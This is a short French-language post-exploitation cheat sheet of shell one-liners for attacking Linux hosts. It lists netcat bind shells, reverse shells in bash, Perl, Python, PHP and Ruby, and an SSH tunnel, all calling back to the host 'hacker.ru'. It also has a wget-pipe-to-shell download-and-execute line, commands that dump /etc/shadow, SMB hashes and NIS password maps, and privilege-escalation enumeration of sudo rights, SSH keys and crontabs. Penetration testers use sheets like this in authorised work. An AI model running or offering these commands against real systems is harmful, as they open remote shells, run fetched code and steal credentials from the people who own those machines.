Création d’une porte dérobée
Création d’un bindshell
# Netcat
nc -e /bin/bash -lp 8080
nc -e /bin/bash -l 8080
Création d’un reverse bindshell
# Pure shell
/bin/bash < /dev/tcp/hacker.ru/80 1>&0
bash -i >& /dev/tcp/hacker.ru/80 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc hacker.ru 80 >/tmp/f
# Netcat
nc -e /bin/bash hacker.ru 80
# Perl
perl -e 'use Socket; $i="hacker.ru"; $p=80; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
# Python
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("hacker.ru",80)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
# Php
php -r '$sock=fsockopen("hacker.ru",80);exec("/bin/sh -i <&3 >&3 2>&3");'
# Ruby
ruby -rsocket -e'f=TCPSocket.open("hacker.ru",80).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# SSH
ssh -NR 80:localhost:22 user@hacker.ru
Téléchargement et exécution
wget http://server/file.sh -O- | sh
Comptes utilisateurs et mots de passe
# Compte système
cat /etc/passwd /etc/shadow /etc/security/passwd /etc/master.passwd
cat /etc/group /etc/gshadow
getent passwd
getent group
# SMB
pdbedit -L -w
pdbedit -L -v
# Mail account
cat /etc/aliases
find /etc -name aliases
getent aliases
# NIS accounts
ypcat passwd
Elévation de privilèges
sudo -l
ls -alh /home/*/.ssh/ /root/.ssh/
crontab -l
cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
Autres commandes
D’autres commandes sont disponibles ici.